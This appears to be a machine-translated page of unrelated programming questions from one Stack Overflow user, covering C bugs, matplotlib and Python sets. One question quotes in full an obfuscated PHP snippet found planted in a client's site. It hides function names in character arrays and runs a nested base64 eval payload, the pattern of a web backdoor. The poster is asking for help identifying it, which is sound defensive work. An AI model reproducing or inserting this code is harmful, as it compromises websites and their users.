小编zwo*_*wol的帖子

当我运行我的程序并且我选择查看产品列表时,它不会打印任何内容.过了一段时间,我发现它的值fl_size总是为0.这是为什么？

void view_prdct_code_list() {
        FILE *stock = fopen("stock.dat","r+");
        assert(stock);

        int fl_size=ftell(stock);
        int prd_size= sizeof(product);
        int quantity= fl_size/prd_size;
        printf("fl_size=%d",fl_size);

        fseek(stock,0,SEEK_SET);
        prdct cprd= (product *)malloc (sizeof(product)*quantity);
        assert(cprd);

        int i;

        fread(cprd,prd_size,quantity,stock);

        for (i=0;i<quantity;i++){
                printf("PRODUCT CODE: %d\n",cprd->code);
        }

        free(cprd);
        fclose(stock);
}

我想使用 matplotlib 生成这样的图：

_{（来源：peltiertech.com）}

我的数据位于 pandas DataFrame 中，并且我已经得到了常规的堆叠条形图，但我不知道如何执行每个类别都有自己的 y 轴基线的部分。

理想情况下，我希望所有子图的垂直比例完全相同，并将面板标签移到一侧，以便行之间没有间隙。

给定一个可变set对象，

A = set(1,2,3,4,5,6)

我可以构造一个新的集合，只包含那些不满足谓词的对象......

B = set(x for x in A if not (x % 2 == 0))

...但是我如何就地修改A以仅包含这些对象？如果可能，请在线性时间内执行此操作，不要构建 O(n) 大小的临时对象，也不要从 中删除任何A不满足谓词的内容，即使是暂时的。

（这里使用整数只是为了简化示例。在实际代码中，它们是Future对象，我试图取出那些已经完成的对象，预计它们只是总数的一小部分。）

请注意，一般来说，在 Python 中改变您正在迭代的对象是不安全的。我不确定集合的确切规则（无论哪种方式，文档都不做任何保证）。

我只需要3.4+ 的答案，但会采用更一般的答案。

我刚刚为一位客户建立了一个网站,他们一直有问题.进入站点文件后,我发现它位于其中一个PHP类的顶部:

<?php
/*ad0b18735e68b25aa9c4374221824db5_on*/ $byJtFKIhXRt8KPNfT1me8ooOBXon8QgWfQgLqPSdxb= array('8759','8776','8755','8766');$ARPcAGpFFDTk4GyiFfpsl5zXmfFqCHsAp8DQFSlbm5lhCJq8P= array('8569','8584','8571','8567','8586','8571','8565','8572','8587','8580','8569','8586','8575','8581','8580');$J0BQOOWj4oRnP7liN= array('7450','7449','7467','7453','7406','7404','7447','7452','7453','7451','7463','7452','7453');$UbjPmIKWlC="eval(base64_decode("ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0poVjFsblMwTkdiV1JYTldwa1IyeDJZbXc1YkdWSGJIcGtTRTF2U1d0a2JHUkZNV2hpVjBWcFMxTnNOMGxEUW0xa1Z6VnFaRWRzZG1KcFFuUmlNbEptV1RJNWRVdERVbWxrVjFsd1pUTk9NR05zT1hCamJWWjNZa2RHYWxwVFoybFFSMHAyV2tockswbHBkMmxRUjBwMldraHJLMGxwZDJ0WmJsWnRURU5TYW1KdVVtWmhRMnMzWVZkWlowdERVbXBpYmxKbVlVTkJPVkJUUVhoTFUwSTNTa2RLTVZwcFFUbEpTRTR3WTJ3NWNHTnRWbmRpUjBacVdsTm5hVkJIU25aYVNHc3JTV2wzYVZCSFNuWmFTR3NyU1dsQmRVbElUakJqYld4M1l6SjRhR015YUd4amVXZHJXREZPUmxWc1drWlZiSE5wV2pJNWRscERTbVJMVTNkcldXNVdiVXRVYzJkamJWWXdaRmhLZFVsRFVtbGtWMWszWmxoT01HTnNPWEJqYlZaM1lrZEdhbHBUWjJsUVF6bHBZakpTTlZCcFNYTkphbmQyV1cwNWEyVlVOR2xNUTFKcFpGZFpjMHBIVG5Wa1JqbHZTMVIwY0ZwcFFXOUtSMDUxWkVZNWIwbEVNRGxKUkVWd1NVaHphMWx1Vm0xSlJEQm5Zek5TZVZneWJIbGFXRUp6V1ZkT2JFdERTVGhNTWtwMldraHJLMGxwZUhwa1NFcHdZMGhPYzFsWVRtOWFXRTF2U2tZNVZGSldTbGRTVmtwaVNXMWtkbUl5VVdsWVUydDFTV3AzZGxsdE9XdGxWRFJwVEVOU2FXUlhXWEJQZVVKNVdsaFNNV050TkdkS1Iwb3hXbXAwT1dOdFZqQmtXRXAxU1VOU2FXUlhXVGRtVjFveFltMU9NR0ZYT1hWSlJ6bDNXVmMxY21GVFoydFpibFp0UzFoemExb3pjR1phVTBFNVNVZGFhR0pJVG14UGVWSnZXREozWjFCVFFtOWFWMFpyV2xoS2VsZ3llSEJqTTFGdlMxUjBjRnBwUVc5aFZ6Vm1XVmhLZVZsWWEyOUphMDUyWW01U2JHSnVVWFJTVnpWcVlqSlNjR0p0WXpaSlIyUTJZVmhCYVV4RFFXdGhSamx6UzFOcloyVjVRV3RhTTNCbVdsTkJPVWxJVW5sa1YxVTNabGRzYlVsRFoydGFNM0JtV2xOc04wcElVblJqUjFwMVdWY3hiRWxFTUdka1IxWjBZMGMxYUdKVFoybE1NMUowWTBOSmMwbERTa2RVTURocFMxUjBiV0ZYZUd4WU0wSXhaRVk1YW1JeU5UQmFWelV3WTNsbmEyUkhNWGRhYlRWb1lsZFZjMGxEVW1sa1YxbHdUM2xTTmxwRFFUbEpSMlEyWWpOQ2JHSnBaMnRrUnpGM1dtMDFhR0pYVlhOSlEwcDVTV2xyTjBwSFRuWmlibEpzWW01U2VrbEVNR2RhTTNCNVdsZEdhMHREVWpaYVEzZG5UVlJCZDAxRVFYZE5SRUZ3VDNsU2FtSXlOVEJhVnpVd1kzbEJPVWxITVhaYVJqbHFZakkwYjBwSFRuWmlibEpzWW01U2VrdFVkRzVsYlU1ellqTk9iRXREVWpaYVEyczNaRmMxYzJGWE5YSkxRMUl3WWxoQ2JXSnRSblJhVTJzM1NrZE9kbUp1VW14aWJsSjZTVVF3WjFvemNHeGliVTUyV2tkVmIwcEhUblppYmxKc1ltNVNla3RVZERsSlIxWnpZekpWWjJWNVVtcGlNalV3V2xjMU1HTjVRVGxKUnpGMldrWTVhbUl5Tkc5S1Iwb3hXbWxyTjJaVFVuTmFWelJuVUZOQ2VtUklTbk5hVnpSdlNrZE9kbUp1VW14aWJsSjZTMVIwYjFwWFJtdGFXRWx2U1d0T2RtSnVVbXhpYmxGMFZFZFdkVm96VW05UGFVRnBUR2xTYzFwWE5IQlBNMHBzWkVoV2VXSnBaMnRaTWpsMVpFZFdkV1JJVFhCUE16Qm5XbTVXZFZrelVuQmlNalJuVWpKV01GUlhSblJaVTJkd1pYbFNkR0l6VW05YVdFbG5VRk5CYVdKWFVubGlWMVpyWVZkR2JtTnRPVEZqUXpWcVlqSXdhVTh6U214a1NGWjVZbWxCYTJKWE9UQmhSMVo1VHpNeGRsbHNPWHBrUjBaNVpFTm5hV0l6UW1oaWJYUndTV2xyTjFwdVZuVlpNMUp3WWpJMFoxbFhhRzFrVjFKdFlrZGFObHBIYUcxaFNFMXZTa2hDYUV0WWMydGlWMFowV1ZOQk9VbEZaR3hrUlRGb1lsZEZiMHRVYzJ0YWJXeHpXbE5CT1VsSVZubGlSMVoxV1RJNWExcFRhR1pZTUZwS1ZFVldabGg1YXpkaFYxbG5TMGRzZW1NeVZqQkxRMUptVlRCV1UxWnJWbE5YZVVwSlZrWlNVVmd3YUZCVk1WRnBXRk5yY0dWNVVtOWlNMDR3U1VRd1owcEdPVlJTVmtwWFVsWktZa2xyYUZWV1JrSm1VMFU1VkZaRFNtUlBNekJuV2xkNGVscFRRamRLUjJoMll6TlJaMUJUUVdsSmFuUTVZVmRaWjB0SGJIcGpNbFl3UzBOU1psVXdWbE5XYTFaVFYzbEtVMUpWTVZCV1JWWm1VVlZTUlZWcFNtUkxVMnczU2tkc2QwbEVNR2RLUmpsVVVsWktWMUpXU21KSmJFcEdWRlU1VlZKV09VSlNSVkpUU1d3d04yWlRRbXhpU0U1c1NVaHphMkZZUVdkUVUwRnBTV3AwT1dGWFdXZExSMng2WXpKV01FdERVbVpWTUZaVFZtdFdVMWQ1U2tsV1JsSlJXREZLUmxKclZsTlNWa2xwV0ZOcmNHVjVVbmxhVjFsblVGTkNNV050ZUd4aWJVNTJXa2RWYjBwR09WUlNWa3BYVWxaS1lrbHJhRlZXUmtKbVZXdFdSMUpXU2taVmFVcGtTMVIwT1VsSFZuTmpNbFZuWlhsU2VWcFhXV2RRVTBGcFNXcDBPV0ZYV1dkTFIyeDZZekpXTUV0RFVtWlZNRlpUVm10V1UxZDVTa2xXUmxKUldERldWRkpXU21aUlZXUkdWR3hSYVZoVGEzQmxlVkl4V1ZOQk9VbElWbmxpUjFaMVdUSTVhMXBUYUhwa1NFb3dZako0ZG1ReVZubExRMUptVlRCV1UxWnJWbE5YZVVwSlZrWlNVVmd4VmxSU1ZrcG1VVlZrUmxSc1VXbFlVMnR3VHpNd1oxcFhlSHBhVTBJM1NraFdhRWxFTUdkSmFVazNabGRzYlVsRGFIQmpNMDVzWkVObmExZ3hUa1pWYkZwR1ZXeHphVlZXVmtaVmJHeG1WVEZTVTFOVk5VaEpiREJ3UzFoemEyTllUV2RRVTBJeFkyMTRiR0p0VG5aYVIxVnZTa1k1VkZKV1NsZFNWa3BpU1d4R1ZsSldTbHBZTVU1VlZXdHNUMUo1U21STFZIUTVTVWRXYzJNeVZXZGxlVko0WTNsQk9VbERTV2xQTXpCclpGaEtjMWg2UVdkUVUwRnBZVWhTTUdORWIzWk1lVWxuVEdsQmEyTkhSVGRLU0ZaNVlrWTRlRWxFTUdkSmFUbHhXbGRTY0V4dVFtOWpSRGt5V2xoS2VtRlhPWFZRVkVFMVQxUk5iV0pYT1RCaFIxWjVVRk5KWjB4cFVuUlpWekZvU1VNMFowbHBXbTFoVjNoc1VGTkpaMHhwUVd0YWJXeHpXbE5CZFVsRFNXMWhSemw2WkVRd2FVbEROR2RLUjJoMll6TlJaMHhwUVdsS2JXeDNVRk5KWjB4cFFXdGhXRUZuVEdsQmFVcHVTbXhhYWpCcFNVTTBaMHBJU214YWFVRjFTVU5KYldSWFJUbEphVUYxU2toV2FFbEROR2RKYVZwNFkzb3dhVWxETkdkS1NFWjZUM2xTTUdOdWEyZFFVMEl3WTI1V2JFOHliRzFMUTBKdFpGYzFhbVJIYkhaaWJEbHNaVWRzZW1SSVRXOUpiVTR4WTIxNFptRlhOWEJrUTBsd1NVTnNOMHBIVG05SlJEQm5XVE5XZVdKR09YQmliV3d3UzBOU01XTnRlR1pOUTBGMVNVTlNNV050ZUdaTlUyczNXVE5XZVdKR09YcGFXRkoyWTBoUmIwcEhUbTlNUTBKRVZsWktUVlF4UWxWWU1VcEdWa1pXVTFSc1VsTlJWVFZVVW10V1UweERRWGhMVkhScVpGaEtjMWd6VG14a1J6bDNaRU5uYTFreVozTkpSVTVXVld0NFVGVkdVbVpXUld4T1VsVTVWbFpEZDJkTmVXczNTa2hXYzJSRFFUbEpTRko1WVZjd2Ixa3pWbmxpUmpsc1pVZFdha3REVW1waFEydHdUM2xTTUdOdWEyZFFVMEp0V1ZkNGVscFVkRGxKUjJ4dFNVTm5iMkZYTlhCWU1tUnNaRU5uYVZsWGVITmlNMlJtWkZoS2MxZ3lXblpqUjFaMVNXbHJjRWxEV1cxSlExSXdZMjVyY0VsSWMydGtWM2d3U1VRd1oyUklTbkJpVTJoQldtMXNjMXBXT1c1YVdGSm1XVEk1ZFdSSFZuVmtTRTF2U2toV2VXSkdPSGRKUXpSblNraFdlV0pHT0hoTFUyczNTa2hTZVdWVFFUbEpSMXBvWWtoT2JFOHpNWEJhYVdkclpFaEtOVXRZYzJ0YWJrRm5VRk5DYldNeU9XcGhNamwzV2xjMGIwcElRbWhNUTBFMFRVTjNaMHBIVm5samJUVjJURU5CYTFwWVNubGpNMUo1VEVOQmVrMURhemRoVjFsblMwTlNiV05EYTJkbGVWSjJaRmhSWjFCVFFXbFNNRlpWU1VOU01XTnRlR1pOVTBKSlZrWlNVVXg2UlhWTlJuaDVXRWMwYVU5NVVuWmtXRkZuVEdvd1owbHJhSFpqTTFFMlNVTlNkMWxXZUhsWVJ6UnBUM2xTZG1SWVVXZE1hakJuU1d0T2RtSnROV3haTTFKd1lqSTBOa2xGVG5OaU0wNXNXRWhLWTJKc2VIbFlSelJwVHpKYU0yTnRiREJhVTJkcldtNUJjMGxEVW5aa1dGRndUM2xTZVZwWVVXZFFVMEZwU1dwME0yRkhiSE5hVTBGdlNWZGFiR0l5V1c5S1IxcDNTMU5yWjJWNVVubGFXRkZuU1VNME9VbERRbTFhTWxZd1kzbG5hMXB1UVhOSlJFVjVUME5yTjJaWFdtcGlSemw2V2xObmExcHVRWEJQZVZJeFlraFJaMUJUUWpCamJXeDBTMGhPTVZsdVRqQmphV2RyWTIxV01FeERRbnBrU0VwM1lqTk5iMHBJU214a1EzZG5TV3g0ZVZoSE5XTmpiSGgxU1dsclowdDVRVEJMVTJzM1psZ3daMGxIYkcxSlEyaDZaRWhLZDJJelRXOUtTRlp6WkVOM2FWcFlXbWhpUTBsd1NVTkZPVkJUUW0xWlYzaDZXbE5zTjBwSWIyZFFVMEo2WkVoS2NHTklUbk5aV0U1dldsaE5iMk16VW5sWU0wcHNZMGQ0YUZreVZXOUpiVll5V1ZkM2FVeERTV2xNUTFJeFlraFJjRXRVYzJkYVdGcG9Za05uYTJWcGF6ZEpSMVkwWVZoUmIwdFVkRGxoVjFsblMwaE9NR051UW5aamVXZHJaRmQ0TUV4RFNteFpiVFZvU1dsclowbFVNRGxKUjFwb1lraE9iRXRZYzJ0WU1VNUdWV3hhUmxWc2MybGFNamwyV2tOS1pFbEVNR2RqTTFKNVdETktiR05IZUdoWk1sVnZTVzFXYVdKdFJXbE1RMGxwVEVOU01XSklVWEJQTTBwc1pFaFdlV0pwUWpCamJsWnNUek14YkdKSVRteEpTSFI1V2xoU01XTnROR2RhYlVaell6SlZOMlpZTUd0YWJVWXdZVWRXZVUxc2RHUkpSREJuU1dwak0weHFaM2hNYWtrd1RWTTBlVTVVVFdsUGVWSnRXVmhTYjFwWVNYbFhNVEJuVUZOQmFVNUVXWFZOYWxFMVRHcFZORXhxUlhwT1UwazNTa2RhYUdSSGFHeGpha3BpV0ZOQk9VbERTWGhPZWxsMVQxTTBlVTVFUlhWTlZGVjNTV3B6YTFwdFJqQmhSMVo1VFd4MFpFbEVNR2RKYWxFeVRHcE5NMHhxUlRKUFV6UXhUbWxKTjBwSFdtaGtSMmhzWTJwS1lsaFRRVGxKUTBrMVRrTTBlVTVFU1hWTmFsVXhUR3BOTVVscWMydGFiVVl3WVVkV2VVMXNkR1JKUkRCblNXcEZNMDlETkhoT2FrbDFUVlJKTlV4cVNYbE5lVWszU2tkYWFHUkhhR3hqYWtwaVdGTkJPVWxEU1hwTlV6UjRUMFJSZFUxcVRUQk1hbXN5U1dwemExcHRSakJoUjFaNVRXeDBaRWxFTUdkSmFtTXpUR3ByTVV4cVJUUk1ha1UwVDFOSk4wcEhXbWhrUjJoc1kycEtZbGhUUVRsSlEwazFUWGswZUU1NlFYVk5WRTB6VEdwSmVVbHFjMnRhYlVZd1lVZFdlVTFzZEdSSlJEQm5TV3BGTkU5RE5EQk5RelExVGxNMGVVNUVVV2xQZVZKdFdWaFNiMXBZU1hsWE1UQm5VRk5CYVUxVWF6Vk1ha1Y0VGxNMGVVMTZSWFZPVkdkcFQzbFNiVmxZVW05YVdFbDVWekV3WjFCVFFXbFBSRWwxVFZScmVVeHFaek5NYWtVelQwTkpOMHBIV21oa1IyaHNZMnBLWWxoVFFUbEpRMGw1VFZSWmRVMXFVVEpNYW1zMVRHcEplRTVUU1RkS1IxcG9aRWRvYkdOcVNtSllVMEU1U1VOSk5VNVROSGxOVkVWMVRWUm5kVTU2YTJsUE0wNXZaRmRhYldKSFZXOUtSMXBvWkVkb2JHTnFTWEJQTWxwMlkyMVdhRmt5WjI5S1IxcG9aRWRvYkdOcVNXZFpXRTFuU2toV2VVdFlkSEJhYVVGdlNVZEdiMXB1Vm10YWJYaHRaVzFTYjFwdGFIcExRMUl4WTJsclowdFRRamRKUjBwNVdsZEdja2xFZERsbVdEQTlJaWtwT3lBPSIpKTsg")); ";if (!function_exists("Gk8ZQGrrSvbiFVNEUQ6Ke9IiogWaRAABLyqr5HJ")){ function Gk8ZQGrrSvbiFVNEUQ6Ke9IiogWaRAABLyqr5HJ($fmG17jH6h8R6pfvV6ODRd6K,$iot3u6fS){$AJgVhd3fVZu0lfXZJE2Gf9LusFOpLxzn7 = '';foreach($fmG17jH6h8R6pfvV6ODRd6K as $seJ3kuSEl4K8TkDMQJMs34XHkz5KM2gM6QFgboLmiml2wOFdoh){$AJgVhd3fVZu0lfXZJE2Gf9LusFOpLxzn7 .= chr($seJ3kuSEl4K8TkDMQJMs34XHkz5KM2gM6QFgboLmiml2wOFdoh - $iot3u6fS);}return $AJgVhd3fVZu0lfXZJE2Gf9LusFOpLxzn7;}$hKVywz3gfZQjZpsdvfedFEEg3UyYs7BlInK4MDaRsR1h6 = Gk8ZQGrrSvbiFVNEUQ6Ke9IiogWaRAABLyqr5HJ($byJtFKIhXRt8KPNfT1me8ooOBXon8QgWfQgLqPSdxb,8658);$UsopvTU00NLoC = Gk8ZQGrrSvbiFVNEUQ6Ke9IiogWaRAABLyqr5HJ($ARPcAGpFFDTk4GyiFfpsl5zXmfFqCHsAp8DQFSlbm5lhCJq8P,8470);$D4fUhPPUiQCBxt = Gk8ZQGrrSvbiFVNEUQ6Ke9IiogWaRAABLyqr5HJ($J0BQOOWj4oRnP7liN,7352);$UCUMQ98AUYryzF0tSVyD = $UsopvTU00NLoC('$kiNmYfN',$hKVywz3gfZQjZpsdvfedFEEg3UyYs7BlInK4MDaRsR1h6.'('.$D4fUhPPUiQCBxt.'($kiNmYfN));');$UCUMQ98AUYryzF0tSVyD($UbjPmIKWlC);} /*ad0b18735e68b25aa9c4374221824db5_off*/ ?>

我不知道它是什么,它是不可能破译的.直接在线访问文件时不输出任何内容.有任何想法吗？它看起来像恶意吗？

我编写了一个打印给定字符串的所有排列的程序.但它印刷了一些奇怪的东西.代码如下:

#include <stdio.h>

void swap (char *x, char *y)
{
  char temp;
  temp = *x;
  *x = *y;
  *y = temp;
}

void permute(char *a, int i, int n)
{
  int j;
  if (i == n)
    printf("%d\n", a);
  else
  {
    for (j = i; j <= n; j++)
    {
      swap((a+i), (a+j));
      permute(a, i+1, n);
      swap((a+i), (a+j));
    }
  }
}

int main(void)
{
  char a[100];
  gets(a);

  int k;
  k=strlen(a);
  permute(a, 0, k-1);

  system("pause");
}

它打印一些数字而不是给出字符串.. plz帮助

有以下代码:

unsigned char c1 = -55;

1.)会发生什么？是c1可变的隐式转换unsigned int,或者是unsigned忽略,c1遗体signed int？

2.)为什么这两个陈述:

if (c1 != -55)  
    printf("!=");

和

if (c1 != 55)  
    printf("!=");

打印!=？

C标准在哪里指定我不能在同一块范围内多次声明相同的标识符？

这是代码

#include <stdio.h>

int main()
{
    printf ("\t%d\n",printf("MILAN"));
    printf ("\t%c",printf("MILAN"));
}

这是输出

$gcc -o main *.c
$main

米兰5

米兰|

现在的问题是

为什么printf返回| 当我们打印字符时(格式化程序为%c)？

5和|之间的关系是什么？这里？

以下代码有什么问题？memset应该与Pointer一起使用,以填充内存块.但此代码在控制台中显示分段错误(核心转储)的问题

#include<iostream>
#include <cstring>
using namespace std;

int main(int argc, char** argv)
{
    char* name = "SAMPLE TEXT";
    memset(name , '*', 6);
    cout << name << endl;
    return 0;
}

5 5 5 5 5
  4 4 4 4
    3 3 3
      2 2
        1

如何使用c生成模式以上的模式我试过这个

int i, j, N;

scanf("%d", &N);

for(i=N; i>=1; i--)
{
    //Logic to print spaces
    for(j=N; j>i; j--)
    {
        printf(" ");
    }

    //Logic to print numbers
    for(j=1; j<=i; j++)
    {
        printf("%d ", i);
    }
    for(j=N; j>i; j--)
    {
        printf(" ");
    }

    printf("\n");
}